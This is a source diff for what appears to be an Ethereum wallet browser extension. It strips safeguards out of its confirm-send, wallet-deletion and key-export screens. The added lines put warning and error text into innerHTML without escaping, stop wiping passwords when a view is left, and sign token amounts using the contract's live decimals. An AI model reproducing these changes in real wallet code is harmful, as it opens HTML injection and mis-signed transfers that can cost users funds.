                 (w) =>
-                    // Only the three hardcoded strings in
-                    // src/shared/addressWarnings.js reach this today, but
-                    // src/shared/etherscanLabels.js already builds a
-                    // `warning` out of scraped explorer markup, so this is
-                    // one wiring change away from carrying remote text.
-                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${escapeHtml(w.message)}</div>`,
+                    `<div class="border border-border border-dashed p-2 mb-1 text-xs font-bold">WARNING: ${w.message}</div>`,
             )
             .join("");
         warningsEl.style.visibility = "visible";
@@ -180,14 +153,50 @@ function show(txInfo) {
         warningsEl.style.visibility = "hidden";
     }
 
-    // The two fee messages are mutually exclusive per transaction type, and
-    // the type is known here, before the first paint. Drop the one that can
-    // never apply and reserve the space of the one that can, so the async
-    // estimate landing later never moves anything.
-    $("confirm-amount-fee-error").classList.toggle("hidden", isErc20);
-    $("confirm-gas-error").classList.toggle("hidden", !isErc20);
+    // Check for errors
+    const errors = [];
+    if (isErc20) {
+        const tokenBal = parseFloat(txInfo.tokenBalance || "0");
+        if (parseFloat(txInfo.amount) > tokenBal) {
+            errors.push(
+                "Insufficient " +
+                    symbol +
+                    " balance. You have " +
+                    txInfo.tokenBalance +
+                    " " +
+                    symbol +
+                    " but are trying to send " +
+                    txInfo.amount +
+                    " " +
+                    symbol +
+                    ".",
+            );
+        }
+    } else if (parseFloat(txInfo.amount) > parseFloat(txInfo.balance)) {
+        errors.push(
+            "Insufficient balance. You have " +
+                txInfo.balance +
+                " ETH but are trying to send " +
+                txInfo.amount +
+                " ETH.",
+        );
+    }
 
-    renderValidation(txInfo);
+    const errorsEl = $("confirm-errors");
+    const sendBtn = $("btn-confirm-send");
+    if (errors.length > 0) {
+        errorsEl.innerHTML = errors
+            .map((e) => `<div class="text-xs">${e}</div>`)
+            .join("");
+        errorsEl.style.visibility = "visible";
+        sendBtn.disabled = true;
+        sendBtn.classList.add("text-muted");
+    } else {
+        errorsEl.innerHTML = "";
+        errorsEl.style.visibility = "hidden";
+        sendBtn.disabled = false;
+        sendBtn.classList.remove("text-muted");
+    }
 
     // Reset password field and error
     $("confirm-tx-password").value = "";
@@ -196,7 +205,6 @@ function show(txInfo) {
     // Gas estimate — show placeholder then fetch async
     $("confirm-fee").style.visibility = "visible";
     $("confirm-fee-amount").textContent = "Estimating...";
-    setVisible("confirm-fee-reserve", false);
     state.viewData = { pendingTx: txInfo };
     showView("confirm-tx");
     attachCopyHandlers("view-confirm-tx");
@@ -216,106 +224,11 @@ function show(txInfo) {
     checkRecipientHistory(txInfo);
 }
 
-// Render the balance check for the transaction on screen. Called once during
-// show() and again when the fee estimate resolves or fails. Every element it
-// touches already occupies its space, so re-running it never moves anything.
-function renderValidation(txInfo) {
-    const isErc20 = txInfo.token !== "ETH";
-    const symbol = isErc20 ? displaySymbol(txInfo.tokenSymbol || "?") : "ETH";
-
-    const { canSend, codes } = validateTransfer({
-        isErc20,
-        amount: txInfo.amount,
-        ethBalance: txInfo.balance,
-        tokenBalance: txInfo.tokenBalance,
-        feeStatus,
-        feeWei,
-    });
-
-    // Messages carrying the user's own numbers are built here; the fixed
-    // sentences live in the reserved elements in index.html.
-    const messages = [];
-    if (codes.includes(CODES.AMOUNT_INVALID)) {
-        messages.push("Please enter a valid amount to send.");
-    }
-    if (codes.includes(CODES.INSUFFICIENT_TOKEN)) {
-        messages.push(
-            txInfo.tokenBalance == null
-                ? "This token's balance is unknown, because nothing this" +
-                      " wallet can consult reports how many decimal places it" +
-                      " uses, so the amount you are trying to send cannot be" +
-                      " checked against it."
-                : "Insufficient " +
-                      symbol +
-                      " balance. You have " +
-                      txInfo.tokenBalance +
-                      " " +
-                      symbol +
-                      " but are trying to send " +
-                      txInfo.amount +
-                      " " +
-                      symbol +
-                      ".",
-        );
-    }
-    if (codes.includes(CODES.INSUFFICIENT_ETH)) {
-        messages.push(
-            "Insufficient balance. You have " +
-                txInfo.balance +
-                " ETH but are trying to send " +
-                txInfo.amount +
-                " ETH.",
-        );
-    }
-
-    const errorsEl = $("confirm-errors");
-    if (messages.length > 0) {
-        errorsEl.innerHTML = messages
-            .map((m) => `<div class="text-xs">${escapeHtml(m)}</div>`)
-            .join("");
-        errorsEl.style.visibility = "visible";
-    } else {
-        errorsEl.innerHTML = "";
-        errorsEl.style.visibility = "hidden";
-    }
-
-    setVisible(
-        "confirm-amount-fee-error",
-        codes.includes(CODES.INSUFFICIENT_ETH_WITH_FEE),
-    );
-    setVisible(
-        "confirm-gas-error",
-        codes.includes(CODES.INSUFFICIENT_ETH_FOR_FEE),
-    );
-    setVisible(
-        "confirm-fee-unknown-error",
-        codes.includes(CODES.FEE_UNAVAILABLE),
-    );
-
-    // While the estimate is in flight there is no error to show — the fee
-    // line already reads "Estimating..." — but sending stays blocked so a
-    // transaction the fee would break cannot be signed in the meantime.
-    const sendBtn = $("btn-confirm-send");
-    sendBtn.disabled = !canSend;
-    sendBtn.classList.toggle("text-muted", !canSend);
-}
-
-function setVisible(id, visible) {
-    $(id).style.visibility = visible ? "visible" : "hidden";
-}
-
-// A fee in wei as an ETH string, truncated to 6 decimal places.
-function formatFeeEth(wei) {
-    const parts = formatEther(wei).split(".");
-    const dec =
-        parts.length > 1 ? parts[1].slice(0, 6).replace(/0+$/, "") || "0" : "0";
-    return parts[0] + "." + dec + " ETH";
-}
-
 async function estimateGas(txInfo) {
     try {
-        const provider = getProvider(state.rpcUrl, state.networkId);
+        const provider = getProvider(state.rpcUrl);
         const feeData = await provider.getFeeData();
+        const gasPrice = feeData.gasPrice;
         let gasLimit;
 
         if (txInfo.token === "ETH") {
@@ -326,77 +239,34 @@ async function estimateGas(txInfo) {
             });
         } else {
             const contract = new Contract(txInfo.token, ERC20_ABI, provider);
-            // The scale the screen is rendering with, not the contract's own
-            // answer: the estimate has to be for the transfer that would be
-            // signed, and that one is encoded from what was displayed. See
-            // transferAmount.js. A pending transaction that carries no usable
-            // scale throws here, which reports the fee as unknown and leaves
-            // Send blocked — an amount that cannot be checked against the
-            // screen is never estimated for, let alone sent.
-            const amount = parseUnits(
-                txInfo.amount,
-                displayedDecimals(txInfo.tokenDecimals),
-            );
+            const decimals = await contract.decimals();
+            const amount = parseUnits(txInfo.amount, decimals);
             gasLimit = await contract.transfer.estimateGas(txInfo.to, amount, {
                 from: txInfo.from,
             });
         }
 
-        // What the node will require to be reserved, which is what the gate
-        // must be: the send pins no fee fields, so it is broadcast as a
-        // type-2 transaction priced at maxFeePerGas.
-        const gasCostWei = feeReserveWei(gasLimit, feeData);
-        if (gasCostWei === null) {
-            throw new Error("no usable gas price from the provider");
-        }
-        // What the transaction is expected to cost, which is a different and
-        // usually much smaller number. Both are shown: quoting only the
-        // reserve overstates the typical cost by roughly double on mainnet,
-        // and quoting only the estimate contradicts the balance check.
-        const estimateWei = feeEstimateWei(gasLimit, feeData);
-        // The user may have left this transaction while the estimate was in
-        // flight; a stale fee must not reach the screen or the balance check.
-        if (pendingTx !== txInfo) return;
-
+        const gasCostWei = gasLimit * gasPrice;
+        const gasCostEth = formatEther(gasCostWei);
+        // Format to 6 significant decimal places
+        const parts = gasCostEth.split(".");
+        const dec =
+            parts.length > 1
+                ? parts[1].slice(0, 6).replace(/0+$/, "") || "0"
+                : "0";
+        const feeStr = parts[0] + "." + dec + " ETH";
         const ethPrice = getPrice("ETH");
-        const usd = (wei) =>
-            ethPrice ? parseFloat(formatEther(wei)) * ethPrice : null;
-
-        if (estimateWei !== null && estimateWei < gasCostWei) {
-            $("confirm-fee-amount").textContent = valueWithUsd(
-                "~" + formatFeeEth(estimateWei),
-                usd(estimateWei),
-            );
-            $("confirm-fee-reserve").textContent =
-                "up to " + formatFeeEth(gasCostWei) + " reserved";
-            setVisible("confirm-fee-reserve", true);
-        } else {
-            // No spread to report: either there is no estimate, or the node
-            // quotes a gas price at or above maxFeePerGas, so the expected
-            // cost is not below the reserve. Show the reserve alone.
-            $("confirm-fee-amount").textContent = valueWithUsd(
-                formatFeeEth(gasCostWei),
-                usd(gasCostWei),
-            );
-            setVisible("confirm-fee-reserve", false);
-        }
-        feeStatus = FEE_KNOWN;
-        feeWei = gasCostWei;
-        renderValidation(txInfo);
+        const feeUsd = ethPrice ? parseFloat(gasCostEth) * ethPrice : null;
+        $("confirm-fee-amount").textContent = valueWithUsd(feeStr, feeUsd);
     } catch (e) {
         log.errorf("gas estimation failed:", e.message);
-        if (pendingTx !== txInfo) return;
         $("confirm-fee-amount").textContent = "Unable to estimate";
-        setVisible("confirm-fee-reserve", false);
-        feeStatus = FEE_UNAVAILABLE;
-        feeWei = null;
-        renderValidation(txInfo);
     }
 }
 
 async function checkRecipientHistory(txInfo) {
     try {
-        const provider = getProvider(state.rpcUrl, state.networkId);
+        const provider = getProvider(state.rpcUrl);
         const asyncWarnings = await getFullWarnings(txInfo.to, provider, {
             fromAddress: txInfo.from,
         });
@@ -416,17 +286,7 @@ async function checkRecipientHistory(txInfo) {
     }
 }
 
-// Drop the password from the DOM. Registered as the view-leave handler so
-// it does not sit in the hidden view once the screen navigates on — to the
-// wait screen after a send, or anywhere else the user goes.
-function clearPassword() {
-    $("confirm-tx-password").value = "";
-    hideError("confirm-tx-password-error");
-}
-
-function init(_ctx) {
-    onViewLeave("confirm-tx", clearPassword);
-
+function init(ctx) {
     $("btn-confirm-send").addEventListener("click", async () => {
         const password = $("confirm-tx-password").value;
         if (!password) {
@@ -446,11 +306,8 @@ function init(_ctx) {
                 wallet.encryptedSecret,
                 password,
             );
-        } catch {
-            showError(
-                "confirm-tx-password-error",
-                "That password is incorrect. Please try again.",
-            );
+        } catch (e) {
+            showError("confirm-tx-password-error", "Wrong password.");
             return;
         }
 
@@ -464,7 +321,7 @@ function init(_ctx) {
                 state.selectedAddress,
                 decryptedSecret,
             );
-            const provider = getProvider(state.rpcUrl, state.networkId);
+            const provider = getProvider(state.rpcUrl);
             const connectedSigner = signer.connect(provider);
 
             if (pendingTx.token === "ETH") {
@@ -478,16 +335,8 @@ function init(_ctx) {
                     ERC20_ABI,
                     connectedSigner,
                 );
-                // The contract's decimals() is read to be COMPARED with the
-                // scale the screen rendered this amount at, not to encode with:
-                // encoding from it signs whatever the contract answers now,
-                // which is not what the user read. A disagreement throws and is
-                // reported on the error screen. See transferAmount.js.
-                const amount = transferAmountUnits(
-                    pendingTx.amount,
-                    pendingTx.tokenDecimals,
-                    await contract.decimals(),
-                );
+                const decimals = await contract.decimals();
+                const amount = parseUnits(pendingTx.amount, decimals);
                 tx = await contract.transfer(pendingTx.to, amount);
             }
 

src/popup/views/deleteAddress.js

@@ -1,176 +0,0 @@
-// Confirmation screen for removing one address from a wallet that derives
-// its addresses from an extended key.
-//
-// No password is asked for, unlike delete-wallet. A password gates the
-// disclosure or destruction of a secret, and this does neither: the address
-// is derived from key material the wallet still holds, so removing it only
-// stops the wallet tracking it. An explicit confirmation screen is the
-// proportionate treatment.
-
-const {
-    $,
-    showView,
-    showFlash,
-    escapeHtml,
-    goBack,
-    renderAddressHtml,
-    attachCopyHandlers,
-    addressHoldsFunds,
-    balanceLinesForAddress,
-} = require("./helpers");
-const { formatAddressTotal, getAddressValue } = require("../../shared/prices");
-const { walletHasRecoveryPhrase } = require("../../shared/wallet");
-const { state, saveState } = require("../../shared/state");
-const {
-    canRemoveAddress,
-    removeAddressFromState,
-    broadcastActiveChanged,
-} = require("../../shared/walletDelete");
-
-// The wallet and address indices this screen is confirming, or null when it
-// is not confirming anything.
-let target = null;
-let ctx = null;
-
-function setFlash(msg) {
-    const el = $("delete-address-flash");
-    el.textContent = msg;
-    el.style.visibility = msg ? "visible" : "hidden";
-}
-
-// What it actually takes to get the address back, which is not what the
-// screen used to claim.
-//
-// Neither obvious route works: "+" derives the next unused index, because
-// wallet.nextIndex is a high-water mark and is deliberately not rewound; and
-// re-importing this wallet's key material is refused as a duplicate by
-// findWalletByXpub() for as long as the wallet is here. What remains is to
-// delete the whole wallet in Settings — which destroys the stored secret,
-// with or without the password — and import again, after which
-// scanForAddresses() rediscovers the address only if it has on-chain
-// activity. An address that was never used is not found by that scan, and
-// the copy must not imply otherwise.
-//
-// The noun follows the wallet: an xprv wallet holds no recovery phrase, and
-// this screen is offered on xprv wallets too.
-function recoveryPathText(wallet) {
-    const secret = walletHasRecoveryPhrase(wallet)
-        ? "recovery phrase"
-        : "extended private key";
-    return (
-        "Getting the address back into this list is not easy, so be sure. " +
-        "Adding an address derives the next unused one, not this one, and " +
-        "importing this " +
-        secret +
-        " again is refused while this wallet is still here. The way back is " +
-        "to delete the whole wallet in Settings, which destroys the stored " +
-        secret +
-        ", and then import that " +
-        secret +
-        " again. The scan that follows only finds addresses that have " +
-        "on-chain activity, so an address that has never been used is not " +
-        "found by it."
-    );
-}
-
-// The balance warning, or a blank line when the address holds nothing.
-//
-// A balance is a reason to be careful, not a reason to refuse: the funds are
-// at the address, not in this list, and stay there either way.
-//
-// "Holds" means ETH or any ERC-20 the wallet knows about — an address with no
-// ETH and a five-figure stablecoin position must not get the blank line on
-// the one screen whose job is to warn. The sentence names no figure of its
-// own: the rendered lines round to four decimals, so a sentence built from a
-// rounded number would report "0.0000 ETH" for an address holding real money.
-// The lines below it carry the amounts, in the same format as Home and
-// AddressDetail, followed by the USD total when there is one to give — no
-// total line at all on testnet or before the first price fetch, and no figure
-// when every holding here is one with no price, since "$0.00" directly under
-// "This address holds a balance." is a contradiction.
-function balanceWarningHtml(addr) {
-    if (!addressHoldsFunds(addr)) return " ";
-    const line = formatAddressTotal(getAddressValue(addr));
-    const total = line
-        ? `<div class="text-xs text-muted mt-1">${escapeHtml(line)}</div>`
-        : "";
-    return (
-        `<p class="mb-1">This address holds a balance. Removing it does not ` +
-        `move or spend anything; the balance stays at the address.</p>` +
-        balanceLinesForAddress(addr, state.trackedTokens, false) +
-        total
-    );
-}
-
-function show(walletIdx, addrIdx) {
-    const wallet = state.wallets[walletIdx];
-    const addr = wallet && wallet.addresses[addrIdx];
-    if (!addr) return;
-    target = { walletIdx, addrIdx };
-
-    $("delete-address-label").textContent = "Address " + (addrIdx + 1);
-    $("delete-address-wallet-name").textContent =
-        wallet.name || "Wallet " + (walletIdx + 1);
-
-    const value = $("delete-address-value");
-    value.innerHTML = renderAddressHtml(addr.address, {
-        ensName: addr.ensName,
-    });
-    attachCopyHandlers(value);
-
-    $("delete-address-recovery").textContent = recoveryPathText(wallet);
-    $("delete-address-balance").innerHTML = balanceWarningHtml(addr);
-
-    setFlash("");
-    showView("delete-address-confirm");
-}
-
-function init(_ctx) {
-    ctx = _ctx;
-
-    $("btn-delete-address-back").addEventListener("click", () => {
-        target = null;
-        goBack();
-    });
-
-    $("btn-delete-address-confirm").addEventListener("click", async () => {
-        if (target === null) {
-            setFlash("No address is selected for removal.");
-            return;
-        }
-
-        const { walletIdx, addrIdx } = target;
-        if (!canRemoveAddress(state.wallets[walletIdx])) {
-            setFlash(
-                "This address cannot be removed, because a wallet always " +
-                    "keeps at least one address.",
-            );
-            return;
-        }
-
-        const { removed, activeAddressChanged } = removeAddressFromState(
-            state,
-            walletIdx,
-            addrIdx,
-        );
-        if (!removed) {
-            setFlash("This address could not be removed.");
-            return;
-        }
-
-        target = null;
-        // Save before broadcasting: the background reads the active address
-        // back out of storage to build accountsChanged.
-        await saveState();
-        if (activeAddressChanged) broadcastActiveChanged();
-
-        ctx.renderWalletList();
-        goBack();
-        showFlash("Address removed.");
-    });
-}
-
-// recoveryPathText and balanceWarningHtml are exported so the two pieces of
-// copy that carry the screen's substance can be tested without a DOM; show()
-// is a one-line assignment for each.
-module.exports = { init, show, recoveryPathText, balanceWarningHtml };

src/popup/views/deleteWallet.js

@@ -1,11 +1,4 @@
-const {
-    $,
-    showView,
-    showFlash,
-    goBack,
-    clearViewStack,
-    onViewLeave,
-} = require("./helpers");
+const { $, showView, showFlash, goBack, clearViewStack } = require("./helpers");
 const { state, saveState } = require("../../shared/state");
 const { decryptWithPassword } = require("../../shared/vault");
 const {
@@ -14,184 +7,27 @@ const {
 } = require("../../shared/walletDelete");
 
 let deleteWalletIndex = null;
-let lostPasswordIndex = null;
 let ctx = null;
 
-// The name shown for a wallet, and on the lost-password screen the string
-// the user has to type back. One function so the two cannot disagree: a
-// confirmation that asks for a name other than the one on screen is
-// unusable.
-function displayName(walletIdx) {
+function show(walletIdx) {
+    deleteWalletIndex = walletIdx;
     const wallet = state.wallets[walletIdx];
-    return (wallet && wallet.name) || "Wallet " + (walletIdx + 1);
-}
-
-// What the typed confirmation and the wallet name are compared as. HTML
-// collapses runs of whitespace when it renders the name, so a wallet named
-// "My  Wallet" with two spaces DISPLAYS as "My Wallet": the user cannot
-// see the second space and cannot type a string that matches the stored
-// name. Comparing collapsed on both sides is what keeps the confirmation
-// satisfiable, on the one screen whose whole purpose is unwedging a user
-// who is already stuck. Case and surrounding space go the same way.
-function confirmKey(name) {
-    return name.trim().replace(/\s+/g, " ").toLowerCase();
-}
-
-// Drop the password from the DOM and the wallet selection from the
-// closure. Registered as the view-leave handler as well as run on entry,
-// so the typed password does not sit in the hidden view after the user
-// navigates away by any route, including the Settings gear.
-function clear() {
-    deleteWalletIndex = null;
+    $("delete-wallet-name").textContent =
+        wallet.name || "Wallet " + (walletIdx + 1);
     $("delete-wallet-password").value = "";
     $("delete-wallet-flash").textContent = "";
     $("delete-wallet-flash").style.visibility = "hidden";
-}
-
-// The lost-password screen holds no secret — a wallet name is not one —
-// but it is wiped on leave for the neighbouring reason: a typed
-// confirmation left standing in a hidden view is one click away from
-// destroying a wallet the user has since navigated off. The button is
-// re-enabled here too, so a screen left mid-delete is usable on re-entry.
-function clearLostPassword() {
-    lostPasswordIndex = null;
-    $("delete-wallet-lost-name-input").value = "";
-    $("delete-wallet-lost-flash").textContent = "";
-    $("delete-wallet-lost-flash").style.visibility = "hidden";
-    const btn = $("btn-delete-wallet-lost-confirm");
-    btn.disabled = false;
-    btn.classList.remove("text-muted");
-}
-
-function show(walletIdx) {
-    clear();
-    deleteWalletIndex = walletIdx;
-    $("delete-wallet-name").textContent = displayName(walletIdx);
     showView("delete-wallet-confirm");
 }
 
-// The two delete screens are siblings, not parent and child: nothing is
-// pushed on the way here, and Back goes to show() rather than goBack().
-// Both then have the same Back target — Settings, the screen that pushed
-// delete-wallet-confirm — and re-entering through show() hands the confirm
-// screen its wallet selection back, which a bare goBack() onto a view
-// whose leave hook has already nulled that selection would not.
-function showLostPassword() {
-    const walletIdx = deleteWalletIndex;
-    if (walletIdx === null) {
-        goBack();
-        return;
-    }
-    const name = displayName(walletIdx);
-    clearLostPassword();
-    $("delete-wallet-lost-name").textContent = name;
-    $("delete-wallet-lost-name-echo").textContent = name;
-    // showView() runs the leave hook of delete-wallet-confirm, which nulls
-    // deleteWalletIndex, so this screen's own selection is recorded after
-    // it and not before.
-    showView("delete-wallet-lost-password");
-    lostPasswordIndex = walletIdx;
-}
-
-// Remove the wallet and put the user somewhere sensible. Shared by both
-// routes onto this screen, so the selection repair, the site-permission
-// cleanup and the accountsChanged broadcast cannot drift apart between
-// them.
-async function finishDelete(walletIdx) {
-    const { activeAddressChanged } = removeWalletFromState(state, walletIdx);
-
-    deleteWalletIndex = null;
-    lostPasswordIndex = null;
-
-    if (!state.hasWallet) {
-        clearViewStack();
-        await saveState();
-        // Save before broadcasting: the background reads the active
-        // address back out of storage to build accountsChanged.
-        if (activeAddressChanged) broadcastActiveChanged();
-        showView("welcome");
-        return;
-    }
-
-    await saveState();
-    if (activeAddressChanged) broadcastActiveChanged();
-    // Reset stack to [main] so Settings back goes home.
-    // Use require() lazily to avoid circular dependency
-    // (settings.js requires deleteWallet.js).
-    clearViewStack();
-    state.viewStack.push("main");
-    ctx.renderWalletList();
-    const settings = require("./settings");
-    settings.show();
-    showFlash("Wallet deleted.");
-}
-
 function init(_ctx) {
     ctx = _ctx;
 
-    onViewLeave("delete-wallet-confirm", clear);
-    onViewLeave("delete-wallet-lost-password", clearLostPassword);
-
-    // No wipe here: goBack() routes through showView(), which runs the
-    // leave hook.
     $("btn-delete-wallet-back").addEventListener("click", () => {
+        deleteWalletIndex = null;
         goBack();
     });
 
-    // The escape hatch, and deliberately not gated on anything a user who
-    // has lost the password cannot produce. A password in front of
-    // DISCARDING a secret protects nobody: an attacker at the popup who
-    // wants the wallet gone can uninstall the extension, so the only
-    // person such a gate stops is the owner who forgot it — and before
-    // this route existed that owner could neither delete the wallet nor
-    // import its recovery phrase again, because AddWallet refuses the xpub
-    // as a duplicate while the wallet is still stored.
-    $("btn-delete-wallet-lost-password").addEventListener("click", () => {
-        showLostPassword();
-    });
-
-    $("btn-delete-wallet-lost-back").addEventListener("click", () => {
-        const walletIdx = lostPasswordIndex;
-        if (walletIdx === null) {
-            goBack();
-            return;
-        }
-        show(walletIdx);
-    });
-
-    $("btn-delete-wallet-lost-confirm").addEventListener("click", async () => {
-        if (lostPasswordIndex === null) {
-            $("delete-wallet-lost-flash").textContent =
-                "No wallet selected for deletion.";
-            $("delete-wallet-lost-flash").style.visibility = "visible";
-            return;
-        }
-
-        // Case, surrounding spaces and repeated inner spaces are not part
-        // of the confirmation; see confirmKey(). This asks whether the
-        // user knows which wallet they are on; it is not a secret, and
-        // refusing "wallet 2" for "Wallet 2" would only teach the user to
-        // distrust the control.
-        const typed = $("delete-wallet-lost-name-input").value;
-        const expected = displayName(lostPasswordIndex);
-        if (confirmKey(typed) !== confirmKey(expected)) {
-            $("delete-wallet-lost-flash").textContent =
-                "That is not the name of this wallet. Type " +
-                expected +
-                " to confirm.";
-            $("delete-wallet-lost-flash").style.visibility = "visible";
-            return;
-        }
-
-        const btn = $("btn-delete-wallet-lost-confirm");
-        btn.disabled = true;
-        btn.classList.add("text-muted");
-
-        // finishDelete() navigates, and the leave hook re-enables the
-        // button and wipes the typed name on the way out.
-        await finishDelete(lostPasswordIndex);
-    });
-
     $("btn-delete-wallet-confirm").addEventListener("click", async () => {
         const pw = $("delete-wallet-password").value;
         if (!pw) {
@@ -218,16 +54,42 @@ function init(_ctx) {
         // Verify password against the wallet's encrypted data
         try {
             await decryptWithPassword(wallet.encryptedSecret, pw);
-        } catch {
-            $("delete-wallet-flash").textContent =
-                "That password is incorrect. Please try again.";
+        } catch (_e) {
+            $("delete-wallet-flash").textContent = "Wrong password.";
             $("delete-wallet-flash").style.visibility = "visible";
             btn.disabled = false;
             btn.classList.remove("text-muted");
             return;
         }
 
-        await finishDelete(walletIdx);
+        // Remove the wallet and repair selection, permissions and hasWallet
+        const { activeAddressChanged } = removeWalletFromState(
+            state,
+            walletIdx,
+        );
+
+        deleteWalletIndex = null;
+
+        if (!state.hasWallet) {
+            clearViewStack();
+            await saveState();
+            // Save before broadcasting: the background reads the active
+            // address back out of storage to build accountsChanged.
+            if (activeAddressChanged) broadcastActiveChanged();
+            showView("welcome");
+        } else {
+            await saveState();
+            if (activeAddressChanged) broadcastActiveChanged();
+            // Reset stack to [main] so Settings back goes home.
+            // Use require() lazily to avoid circular dependency
+            // (settings.js requires deleteWallet.js).
+            clearViewStack();
+            state.viewStack.push("main");
+            ctx.renderWalletList();
+            const settings = require("./settings");
+            settings.show();
+            showFlash("Wallet deleted.");
+        }
     });
 }
 

src/popup/views/exportPrivkey.js

@@ -1,174 +0,0 @@
-// Private key export for a single address.
-//
-// The key controls the address outright — anyone holding it can move every
-// token in it, from any device, forever — so this screen is handled under
-// the same rules as the recovery phrase screen (./showPhrase.js):
-//
-//   1. Nothing is decrypted, no key is derived, and nothing is written into
-//      the DOM until decryptWithPassword has accepted the password.
-//   2. Leaving the screen by any path wipes it, via the onViewLeave hook,
-//      and a decrypt still in flight when that happens is discarded
-//      instead of written (revealGeneration).
-//   3. The key never reaches the logger. This module deliberately does not
-//      import src/shared/log.js.
-//
-// The key is also never assigned to `state`, so it cannot be persisted to
-// extension storage, and "export-privkey" is excluded from RESTORABLE_VIEWS
-// so the popup can never reopen onto it.
-
-const {
-    $,
-    showView,
-    showFlash,
-    flashCopyFeedback,
-    goBack,
-    onViewLeave,
-    pushCurrentView,
-    renderAddressHtml,
-    attachCopyHandlers,
-} = require("./helpers");
-const { state } = require("../../shared/state");
-const { decryptWithPassword } = require("../../shared/vault");
-const { getSignerForAddress } = require("../../shared/wallet");
-const makeBlockie = require("ethereum-blockies-base64");
-
-const VIEW = "export-privkey";
-
-let walletIndex = null;
-let addressIndex = null;
-
-// Bumped by every clear(), which is what leaving the screen runs. reveal()
-// captures it before awaiting the decrypt and refuses to touch the DOM if
-// it has moved: a decrypt still in flight when the screen is left would
-// otherwise write the key *after* the wipe, with nothing scheduled to wipe
-// it again, leaving it in the hidden view for the life of the popup.
-let revealGeneration = 0;
-
-// True only if the reveal that captured `generation` is still the live one:
-// the screen has not been left, cleared, or re-entered for another address
-// since it started.
-function isCurrentReveal(generation) {
-    return (
-        generation === revealGeneration &&
-        walletIndex !== null &&
-        addressIndex !== null &&
-        state.currentView === VIEW
-    );
-}
-
-function fail(message) {
-    $("export-privkey-flash").textContent = message;
-    $("export-privkey-flash").style.visibility = "visible";
-}
-
-// Wipe every trace of the key and drop the address selection. Safe to call
-// when nothing was ever revealed, and safe to call twice.
-function clear() {
-    walletIndex = null;
-    addressIndex = null;
-    revealGeneration += 1;
-    $("export-privkey-value").textContent = "";
-    $("export-privkey-password").value = "";
-    $("export-privkey-result").classList.add("hidden");
-    $("export-privkey-password-section").classList.remove("hidden");
-    $("export-privkey-flash").textContent = "";
-    $("export-privkey-flash").style.visibility = "hidden";
-}
-
-function show(walletIdx, addrIdx) {
-    const wallet = state.wallets[walletIdx];
-    const addr = wallet && wallet.addresses[addrIdx];
-    if (!addr) {
-        showFlash("That address is no longer available.");
-        return;
-    }
-    clear();
-    walletIndex = walletIdx;
-    addressIndex = addrIdx;
-
-    const blockieEl = $("export-privkey-jazzicon");
-    blockieEl.innerHTML = "";
-    const img = document.createElement("img");
-    img.src = makeBlockie(addr.address);
-    img.width = 48;
-    img.height = 48;
-    img.style.imageRendering = "pixelated";
-    img.style.borderRadius = "50%";
-    blockieEl.appendChild(img);
-
-    $("export-privkey-title").textContent =
-        wallet.name + " — Address " + (addrIdx + 1);
-    const addrContainer = $("export-privkey-dot").parentElement;
-    addrContainer.innerHTML = renderAddressHtml(addr.address);
-    attachCopyHandlers(addrContainer);
-
-    // Pushed here rather than by the caller: this function can return
-    // without navigating, and a push that happened anyway would leave an
-    // entry on the stack that no screen transition matches.
-    pushCurrentView();
-    showView(VIEW);
-}
-
-async function reveal() {
-    const password = $("export-privkey-password").value;
-    if (!password) {
-        fail("Please enter your password.");
-        return;
-    }
-    if (walletIndex === null) {
-        fail("No address is selected.");
-        return;
-    }
-    const wallet = state.wallets[walletIndex];
-
-    const btn = $("btn-export-privkey-confirm");
-    btn.disabled = true;
-    btn.classList.add("text-muted");
-    const generation = revealGeneration;
-    try {
-        const secret = await decryptWithPassword(
-            wallet.encryptedSecret,
-            password,
-        );
-        // The only suspension point in this view, and the gate on the only
-        // place a secret is written: if the screen was left while the
-        // decrypt ran, the wipe has already happened, so the key is not
-        // even derived, let alone written.
-        if (!isCurrentReveal(generation)) return;
-        const signer = getSignerForAddress(wallet, addressIndex, secret);
-        $("export-privkey-password").value = "";
-        $("export-privkey-password-section").classList.add("hidden");
-        $("export-privkey-value").textContent = signer.privateKey;
-        $("export-privkey-result").classList.remove("hidden");
-        $("export-privkey-flash").textContent = "";
-        $("export-privkey-flash").style.visibility = "hidden";
-    } catch {
-        if (!isCurrentReveal(generation)) return;
-        fail("That password is incorrect. Please try again.");
-    } finally {
-        btn.disabled = false;
-        btn.classList.remove("text-muted");
-    }
-}
-
-function init() {
-    onViewLeave(VIEW, clear);
-
-    // No wipe here: goBack() routes through showView(), which runs the
-    // leave hook. A per-button wipe would only cover this one path.
-    $("btn-export-privkey-back").addEventListener("click", () => {
-        goBack();
-    });
-
-    $("btn-export-privkey-confirm").addEventListener("click", reveal);
-
-    $("export-privkey-value").addEventListener("click", () => {
-        const key = $("export-privkey-value").textContent;
-        if (!key) return;
-        navigator.clipboard.writeText(key);
-        showFlash("Copied!");
-        flashCopyFeedback($("export-privkey-value"));
-    });
-}
-
-module.exports = { init, show };

src/popup/views/helpers.js

@@ -1,23 +1,12 @@
 // Shared DOM helpers used by all views.
-//
-// Escaping rule for every view in this directory, since they all build
-// markup by concatenation: any VALUE interpolated into an innerHTML string
-// goes through escapeHtml(), whatever its provenance looks like today. The
-// only interpolations left bare are markup FRAGMENTS this code just built
-// (a rendered dot, an icon, a composed row), which escaping would turn into
-// visible angle brackets, and locally computed numbers and loop indices.
-// The distinction is meant to be greppable: an unescaped `${` next to a
-// name that reads like data is a defect.
 
-// escapeHtml lives in src/shared/html.js, where the escape and the
-// reasoning behind it are; it is re-exported below so views keep importing
-// it from here.
-const { escapeHtml } = require("../../shared/html");
 const { isDebug } = require("../../shared/log");
-const { formatUsd, getPrice } = require("../../shared/prices");
+const {
+    formatUsd,
+    getPrice,
+    getAddressValueUsd,
+} = require("../../shared/prices");
 const { state, saveState, currentNetwork } = require("../../shared/state");
-const { displaySymbol } = require("../../shared/symbolDisplay");
-const { markViewRendered } = require("../viewRouter");
 
 // When views are added, removed, or transitions between them change,
 // update the view-navigation documentation in README.md to match.
@@ -36,33 +25,14 @@ const VIEWS = [
     "add-token",
     "settings",
     "delete-wallet-confirm",
-    "delete-wallet-lost-password",
-    "delete-address-confirm",
     "settings-addtoken",
     "transaction",
     "approve-site",
     "approve-tx",
     "approve-sign",
     "export-privkey",
-    "show-phrase",
-    // Shown by src/popup/views/stateRecovery.js when the stored profile
-    // cannot be read. It is never reached through showView() — by then the
-    // state singleton this file writes on every navigation refuses to be read
-    // — but it is listed so that every view-hiding loop covers it.
-    "state-recovery",
 ];
 
